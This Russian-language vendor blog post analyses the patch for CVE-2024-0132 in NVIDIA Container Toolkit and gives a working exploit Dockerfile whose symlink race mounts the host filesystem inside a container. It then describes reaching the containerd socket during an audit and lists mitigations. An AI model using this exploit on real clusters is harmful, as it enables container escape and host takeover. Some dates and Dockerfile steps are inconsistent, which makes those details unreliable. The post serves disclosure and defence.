Ломаем ваши видеокарты: распаковка эксплойта для CVE-2024-0132 под NVIDIA Container Toolkit

Конференция по БЕзопасности

КОНтейнеров и контейнерных сред

5 июня

Организатор
Блог
Новости, прогрессивные идеи и рекомендации по обеспечению безопасности в инфраструктуре Kubernetes
17.2.2025
Автор: Сергей Канибор, R&D Luntry

Ломаем ваши видеокарты: распаковка эксплойта для CVE-2024-0132 под NVIDIA Container Toolkit

В сентябре 2024 года компания WIZ обнаружила критическую уязвимость в системе безопасности, обозначенную как CVE-2024-0132, которая затрагивала все версии NVIDIA Container Toolkit.

Уязвимость была устранена в NVIDIA Container Toolkit v1.16.2 и NVIDIA GPU Operator v24.6.2, однако технические детали раскрыты только 11 февраля 2024 года. В рамках нашей работы нам пришлось разобрать патч и проэксплуатировать эту уязвимость до выхода информации от авторов оригинальной уязвимости. Сейчас мы готовы поделиться нашими деталями и показать, как Luntry поможет сделать систему более безопасной.

Пару слов об NVIDIA Container Toolkit и при чём тут Kubernetes ML кластера

На одном проекте по оценке защищенности ML кластеров Kubernetes мы работали с инфраструктурой, в которой помимо обычных Nodes были Node с подключенными GPU, используемые для запуска различных ML-нагрузок. Под капотом для всего этого использовалась уязвимая версия NVIDIA Container Toolkit.

Стоит отметить, что NVIDIA Container Toolkit позволяет пользователям собирать и запускать GPU нагрузки в контейнерах. Toolkit включает в себя container runtime library и утилиты для автоматической настройки контейнеров для использования NVIDIA GPU. Можно сказать, что NVIDIA Container Toolkit де-факто является стандартом для запуска GPU нагрузок в контейнерах (если у вас видеокарты NVIDIA, то вы точно его используете). В последние годы этот инструментарий становится всё более популярным, что подтверждает его распространение как внутри компаний, так и в публичных облачных провайдерах.

 

В исследуемых кластерах нашего заказчика использовался NVIDIA Container Toolkit уязвимый к CVE-2024–0132 (типа TOCTOU), которая позволяла совершить побег из контейнера. Однако эксплойтов в публичном доступе на тот момент не было.

Мы публикуем эту статью и эксплойт уже после авторов, обнаруживших уязвимость, однако в процессе написания выяснили, что не мы одни готовили к релизу публичный эксплойт для CVE-2024-0132. В конце января 2025 года мы заметили активность в репозитории ctrsploit – автор опубликовал документацию для эксплуатации этой уязвимости с помощью своего инструмента. Связавшись с автором, мы узнали, что он написал эксплойт еще 14 октября 2024 года, но так же как и мы ожидал публичного раскрытия уязвимости от авторов из WIZ.

11 февраля 2025 года WIZ выпустили технические детали для реализации эксплойта. Как выяснилось из статьи, исследователи долгое время не раскрывали подробностей, поскольку был найден обход патча для ранее найденной уязвимости. Новой уязвимости был присвоен идентификатор CVE-2025-23359.

Поиск патча

Стоит отметить, что уязвимость была обнаружена исследователями из WIZ в сентябре 2024 года, о чем они сообщили у себя в блоге. Однако сам эксплойт исследователи не опубликовали, так как решили дать время пропатчиться всем нуждающимся.

Мы активно следим за свежими уязвимостями для приложений, так или иначе относящихся к контейнерам или Kubernetes, и со временем стало понятно, что ресерчеры из WIZ не прекратили своё исследование и обнаружили ещё несколько уязвимостей (в том числе High) в NVIDIA Container Toolkit:

– CVE-2024-0132

– CVE-2024-0135

– CVE-2024-0136

– CVE-2024-0137

Но давайте вернёмся к нашей уязвимости. Никаких технических подробностей исследователи не опубликовали, но тем не менее стала понятна цепочка attack flow:

  • – Нужно создать специально сконфигурированный образ для эксплуатации уязвимости
  • – После запуска образа хостовая файловая система (или часть её) будет примонтирована внутрь контейнера
  • – В результате примонтирования хостовой файловой системы у злоумышленника появляется доступ к Container Runtime socket, что даёт возможность полностью захватить хост и выполнять команды с root привилегиями

NVIDIA Container Toolkit использует библиотеку libnvidia container, в которой как раз таки была найдена уязвимость.

Патч вышел в версии 1.16.2 поэтому были просмотрены все изменения, которые были внесены.

К счастью,  коммитов оказалось не так много, поэтому мы без труда смогли найти нужный нам: https://github.com/NVIDIA/libnvidia-container/commit/ad1f8c8ac4a31bef69c82958f3a87456ceaa39c8

Название и описание коммита открыло для нас тот факт, что эксплуатация уязвимости связана с неправильным разыменованием symlinks для библиотек из директории compat:

Исследование патча

Рассмотрим механизм маунта из /usr/local/cuda/compat более детально. В первую очередь, нас интересует функция find_library_paths() из nvc_container.c. Она используется для поиска и проверки путей к библиотекам.

В начале функция формирует полный путь к библиотекам. Для этого используются вспомогательные функции path_resolve_full() и path_append(). Они соединяют корневую файловую систему контейнера (cnt->cfg.rootfs) с директорией библиотек (cnt->cfg.cudart_dir) и добавляют шаблон для поиска файлов (compat/lib*.so*).

Далее, с помощью xglob выполняется поиск файлов по сформированному пути и шаблону, используя glob. Это позволяет найти все файлы, соответствующие заданному шаблону (lib*.so.*), в указанной директории.

После этого происходит обработка путей. Если файлы найдены (gl.gl_pathc > 0), функция выделяет память для хранения путей в массиве cnt->libs. В цикле она обрабатывает каждый найденный файл:

1) С помощью path_resolve формирует абсолютный путь к файлу относительно корневой файловой системы контейнера

2) Проверяет, уникален ли этот путь (сравнивая с уже добавленными путями в массиве cnt->libs)

3) Если путь уникален, он добавляется в массив с помощью xstrdup, который создает дубликат строки и сохраняет его указатель в массиве cnt->libs.

Мы выяснили как формируется и обрабатывается путь до библиотеки, теперь выясним как библиотека монтируется. Для этого обратимся к nvc_mount.c, а точнее к проверке и обработке Container library mounts:

mount_files(): Пытается смонтировать файлы библиотек, используя переданные параметры: корневую файловую систему cnt->cfg.rootfs, директорию библиотек cnt->cfg.libs_dir, массив библиотек libs и их количество nlibs.

Если монтирование не удается (mount_files возвращает NULL), массив libs освобождается, и происходит переход на метку fail.

Резюмируем:

NVIDIA Container Toolkit проверяет библиотеки в /usr/local/cuda/compat внутри контейнера, а затем маунтит их в основную директорию с библиотеками (директория зависит от дистрибутива).

Символьные ссылки также учитываются, за счет этого можно маунтить любой файл или директорию из образа в директорию с библиотеками.

При этом проверяется, что символьная ссылка разрезолвится внутри контейнера. В ней запрещено использовать множественные “../” для path traversal за пределы контейнера.

Таким образом, резолв ссылок на этапе поиска библиотек происходит относительно корня контейнера и выйти за его пределы на этапе монтирования не получится. Однако это можно обойти, воспользовавшись маунтом внутри контейнера через /usr/local/cuda/compat/ дважды. Отсюда и получаем TOCTOU.

Написание эксплойта

Как мы узнали ранее, для того чтобы проэксплуатировать уязвимость нам необходимо собрать правильно сконфигурированный образ.

Для начала выберем базовый образ, от этого будет зависеть расположение директории с библиотеками внутри контейнера. Например, для alpine это будет /usr/lib64/, а для ubuntu – /usr/lib/x86_64-linux-gnu/. Остановимся на ubuntu:

FROM ubuntu

Создадим директорию /usr/local/cuda/compat/:

RUN mkdir -p /usr/local/cuda/compat/

Далее создадим две директории. Оригинальная директория будет содержать обычный файл с содержимым test:

RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs

Вторая директория (с таким же названием) вместо файла будет содержать символьную ссылку на корневую файловую систему хоста:

RUN mkdir -p /pwn/libdxcore.so.1337/RUN ln -s / /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs

Тут важно отметить, что название libdxcore.so было выбрано не случайно. Это необходимо для удовлетворения фильтра из функции find_library_paths(). Мажорная версия (1337) также должна отличаться от версии настоящего драйвера.

Теперь создаём две символьные ссылки в /usr/local/cuda/compat/:

Первая ссылка подменит содержимое оригинальной директории /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ на /pwn/libdxcore.so.1337/:

RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1

Вторая ссылка монтирует /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs в /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Во время проверки это будет обычный файл, однако непосредственно в момент монтирования это уже будет ссылка, которая была в /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs.

Тем самым файловая система хоста примонтируется в /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/:

RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs/usr/local/cuda/compat/libxxx.so.2

Итоговый Dockerfile для эксплуатации CVE-2024-0132 выглядит так:

FROM ubuntu
RUN mkdir -p /usr/local/cuda/compat/ 

RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs 

RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s / /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs 

RUN ln -s /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2

Эксплуатация

В рамках аудита мы могли собирать и запускать свои образы в Jupyter Notebook, т.к он поставлялся с кастомным плагином.

Это как раз то, что нам нужно. Собираем образ для эксплуатации CVE-2024–0132, пушим во внутренней registry и создаем новый инстанс Jupyter Notebook на базе только что собранного образа.

Мы запустили контейнер на базе этого образа, внутрь этого него, докачали crictl (через прокси) и обратились к containerd socket, чтобы получить список всех контейнеров, запущенных на хосте. Сокет располагался в /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/containerd/containerd.sock.

Для нас это означало успешную эксплуатацию уязвимости и как следствие – побег из контейнера.

Митигация

1) Стараться своевременно обновлять ПО. Но помнить, что всегда есть окно времени между тем, как выйдет патч и тем, когда он будет применен во всей инфраструктуре. Также как в данной истории патч может быть некорректен и есть способы обхода, помимо того, что есть 0day уязвимости.

2) Контролировать содержимое dockerfile. В базе знаний проверок Luntry уже есть соответствующее правило:

3) Контролировать запуск образов только из разрешенного image registry и/или проверку подписи образов. Это поможет избежать попадание в инфраструктуру недоверенного злонамеренного образа со стороны. В базе политик Luntry уже есть соответствующие политики.

4) Контролировать поведение приложений в контейнерах. Это позволит обнаружить запуск подозрительных процессов (в данном случае crictl) и обращений по критичным путям (в данном случае к container runtime socket). В Luntry есть возможность обнаружения всего выше сказанного, а также бессигнатурное детектирование запуска всего, чего не было в исходном образе и что было загружено в процессе атаки. Подробнее об этом тут.

Выводы

С каждым годом Kubernetes становится только популярнее, что влечет за собой популярность Cloud Native приложений, плагинов, библиотек и обвязок для Кубера. Вместе с тем инфраструктуры становятся только сложнее и массивнее, что увеличивает общую поверхность атаки и упрощает жизнь злоумышленникам.

Спасибо за помощь нашим друзьям – Алексею Коврижных и Георгию Носенко!

Узнать больше об использовании Luntry для расследования инцидентов и контроля Kubernetes-ресурсов можно в нашем Telegram-канале. Подписывайтесь, чтобы узнавать актуальные новости о безопасности контейнерных сред.

Читать по теме
13.5.2024

Дмитрий Евдокимов, директор и основатель решения Luntry, выступит с лекцией в рамках «Школы фундаментальных технологий разработки безопасного ПО» на базе МГТУ им. Н.Э. Баумана при активном участии кафедры ИУ10 «Защита информации». Лекция на тему «Безопасность инфраструктур под управлением оркестратора Kubernetes» состоится 27 мая в 13:30. Дмитрий рассмотрит тему оркестрации контейнеров и оркестратор Kubernetes, даст возможность […]

11.9.2023

21 сентября на масштабной онлайн-конференции про IT-инфраструктуру для бизнеса Selectel Tech Day выступит основатель решения Luntry Дмитрий Евдокимов. В своем докладе “ZeroTrust в Kubernetes: Не пустые слова” спикер расскажет, насколько сложно или не сложно построить ZeroTrust в Kubernetes c примерами атак и защиты. Регистрация на мероприятие бесплатная.

Хотите быть в курсе последних обновлений?

Подпишитесь на наш блог, тогда вы точно ничего не пропустите!

    *Нажимая на кнопку, я даю согласие на обработку моих персональных данных
    Используя данный сайт, вы даете свое согласие на использование файлов cookies, помогающих сделать его удобнее для вас. Подробнее
    ОК